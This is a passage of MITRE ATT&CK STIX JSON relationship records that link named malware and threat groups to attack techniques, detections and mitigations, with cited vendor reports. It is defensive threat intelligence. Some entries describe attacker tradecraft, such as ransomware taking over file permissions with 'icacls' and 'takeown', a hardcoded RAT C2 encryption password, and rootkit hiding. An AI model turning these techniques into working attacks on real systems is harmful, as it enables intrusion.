2018)","relationship_type":"uses","source_ref":"intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3da23733-c783-4743-8238-5fc96714409b","created":"2022-04-13T13:16:14.466Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) relies on a victim to click on a malicious document for initial execution.(Citation: Kaspersky ThreatNeedle Feb 2021)","modified":"2022-04-17T19:06:46.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3da41636-b5e3-4c81-b7e6-8e536d83ce5a","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor for unexpected deletion of windows registry keys to hide configuration information, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution. ","source_ref":"x-mitre-data-component--1177a4c5-31c8-400c-8544-9071166afa0e","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3da56da6-08fe-406b-bd0d-cd4f72dd67f4","created":"2022-09-16T16:03:39.766Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T16:03:39.766Z","description":"For [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors used a variety of packers, including CyaX, to obfuscate malicious executables.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3da68907-c8f3-4a45-b831-bdadb1161921","created":"2023-08-03T21:43:48.996Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Dridex Threat Report 2021","description":"Red Canary. (2021, February 9). Dridex - Red Canary Threat Detection Report. Retrieved August 3, 2023.","url":"https://redcanary.com/threat-detection-report/threats/dridex/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-03T21:46:53.164Z","description":"[Dridex](https://attack.mitre.org/software/S0384) can maintain persistence via the creation of scheduled tasks within system directories such as `windows\\system32\\`, `windows\\syswow64,` `winnt\\system32`, and `winnt\\syswow64`.(Citation: Red Canary Dridex Threat Report 2021) ","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3da780a6-2bd0-47ce-b434-fe513abb7ee5","type":"relationship","created":"2020-08-25T20:11:53.207Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-09-18T20:21:17.456Z","description":"[Drovorub](https://attack.mitre.org/software/S0502) has used a kernel module rootkit to hide processes, files, executables, and network artifacts from user space view.(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3dad318f-b446-49c6-a62b-f0596b63a9c5","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MuddyWater Mar 2018","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"}],"modified":"2019-06-28T15:30:58.709Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used CMSTP.exe and a malicious INF to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload.(Citation: FireEye MuddyWater Mar 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3db21d39-c143-4a16-adb8-a20d1115fc39","type":"relationship","created":"2020-03-09T17:07:57.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-09T17:07:57.480Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd","target_ref":"attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3db3aaaf-a736-4110-8fd4-51c6cc80a34b","created":"2024-07-25T20:40:09.894Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2023","description":"Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:40:09.894Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes a module capable of stealing content from the Tencent QQ database storing user QQ message history on infected devices.(Citation: ESET EvasivePanda 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3db5259f-5426-4c47-8fc3-44118f63f985","created":"2021-12-27T19:19:42.755Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can encrypt its C2 with RC4 with the password `warzone160\\x00`.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T17:28:14.388Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3db909a5-8ae8-4ab4-9aa9-910e90155cf3","type":"relationship","created":"2021-11-19T18:46:53.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-19T18:46:53.843Z","description":"[Clambling](https://attack.mitre.org/software/S0660) has gained execution through luring victims into opening malicious files.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3dbae391-a354-488a-b0ab-426d1a055413","type":"relationship","created":"2019-06-20T14:52:45.185Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html","source_name":"FireEye HAWKBALL Jun 2019"}],"modified":"2019-07-06T21:31:25.616Z","description":"[HAWKBALL](https://attack.mitre.org/software/S0391) can collect the OS version, architecture information, and computer name.(Citation: FireEye HAWKBALL Jun 2019)","relationship_type":"uses","source_ref":"malware--12a7450d-b03e-4990-a5b8-b405ab9c803b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3dbc782c-2030-4b32-9bf7-36c65bc9e749","type":"relationship","created":"2021-02-08T23:18:31.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.887Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) can use icacls /reset and takeown /F to reset a targeted executable's permissions and then take ownership.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3dbcc83a-1e60-4ae4-a1f9-b37e1aa7d7b0","type":"relationship","created":"2020-10-20T17:30:35.150Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA17-156A SNMP Abuse 2017","url":"https://us-cert.cisa.gov/ncas/alerts/TA17-156A","description":"US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."}],"modified":"2022-02-17T19:50:47.154Z","description":"Segregate SNMP traffic on a separate management network.(Citation: US-CERT TA17-156A SNMP Abuse 2017) ","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3dc04b05-16d3-445a-98b6-e3f3f4a352ef","created":"2024-05-22T21:39:38.982Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:39:38.982Z","description":"[DEADWOOD](https://attack.mitre.org/software/S1134) contains an embedded, AES-encrypted payload labeled METADATA that provides configuration information for follow-on execution.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--f2e6af17-3828-4f10-88e7-343591618ddb","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3dca7d3d-0869-4255-a565-cccd3c72a332","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for changes made to firewall rules that might allow remote communication over protocols such as SMD and RDP. Modification of firewall rules might also consider opening local ports and services for different network profiles such as public and domain.","source_ref":"x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3dcf441c-b987-4c6a-93e7-e24ae1e16475","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"modified":"2020-03-17T02:22:51.859Z","description":"[Reaver](https://attack.mitre.org/software/S0172) creates a shortcut file and saves it in a Startup folder to establish persistence.(Citation: Palo Alto Reaver Nov 2017)","relationship_type":"uses","source_ref":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3dd2f874-57e3-4670-9c0a-7d8c35741bb6","type":"relationship","created":"2020-09-30T14:13:38.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:13:38.315Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) has the ability to list directories.(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3dd34032-bef9-4dec-bed4-77b670c70453","created":"2023-07-10T16:37:17.724Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-10T16:37:17.724Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6fa224c7-5091-4595-bf15-3fc9fe2f2c7c","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3dd745f5-1c0c-4376-8850-89679fcd4e31","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"DOJ APT10 Dec 2018","description":"United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.","url":"https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.617Z","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: DOJ APT10 Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3dd8c9cd-e9ad-4f3e-a4a6-0d4ff0904980","created":"2024-09-25T14:19:35.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AWS RE:Inforce Threat Detection 2024","description":"Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.","url":"https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"},{"source_name":"Azure Subscription Policies","description":"Microsoft Azure. (2024, March 21). Manage Azure subscription policies. Retrieved September 25, 2024.","url":"https://learn.microsoft.com/en-us/azure/cost-management-billing/manage/manage-azure-subscription-policy"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:15:43.342Z","description":"In Azure environments, consider setting a policy to block subscription transfers.(Citation: Azure Subscription Policies) In AWS environments, consider using Service Control Policies to prevent the use of the `LeaveOrganization` API call.(Citation: AWS RE:Inforce Threat Detection 2024)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--0ce73446-8722-4086-9d43-514f1d0f669e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3dde25bf-03e8-4842-94cd-d596688c44d9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:58.022Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) collects keystrokes from the victim machine.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3de1cc89-ee9a-4476-9d93-a034da6a90bf","created":"2022-08-26T22:08:14.801Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has relied on victims to click on a malicious link send via phishing campaigns.(Citation: ZScaler Squirrelwaffle Sep 2021)","modified":"2022-08-26T22:08:14.801Z","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3de2faf5-8019-4aad-a317-fb66554cd2c0","type":"relationship","created":"2020-08-24T13:43:00.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Preauthentication Jul 2012","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc961961(v=technet.10)?redirectedfrom=MSDN","description":"Microsoft. (2012, July 18). Preauthentication. Retrieved August 24, 2020."},{"source_name":"Stealthbits Cracking AS-REP Roasting Jun 2019","url":"https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/","description":"Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020."}],"modified":"2021-06-07T19:23:33.331Z","description":"Kerberos preauthentication is enabled by default. Older protocols might not support preauthentication therefore it is possible to have this setting disabled. Make sure that all accounts have preauthentication whenever possible and audit changes to setting. Windows tools such as PowerShell may be used to easily find which accounts have preauthentication disabled. (Citation: Microsoft Preauthentication Jul 2012)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3de46cc5-5049-4105-8fcc-ede3f51f30c5","created":"2022-09-16T16:00:18.333Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T16:00:18.333Z","description":"For [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors staged malware and malicious files in legitimate hosting services such as OneDrive or MediaFire.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3de6d2ba-842b-4f60-b177-d8082eebbb1e","type":"relationship","created":"2020-10-19T04:14:47.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:40:20.611Z","description":"Users can be trained to identify social engineering techniques and spearphishing attempts.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3de749e5-353a-4bdc-8951-9e0fa387bc70","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-20T18:03:40.150Z","description":"[AutoIt backdoor](https://attack.mitre.org/software/S0129) is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--f5352566-1a64-49ac-8f7f-97e1d1a03300","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3de96229-d45b-47b2-9515-4eadd0023115","created":"2023-03-24T17:45:16.440Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T17:45:16.440Z","description":"Consider periodic review of common fileless storage locations (such as the Registry or WMI repository) to potentially identify abnormal and malicious data.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3debe0d7-63bb-4e21-bf9b-ed5e23140e57","created":"2022-07-14T17:21:28.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 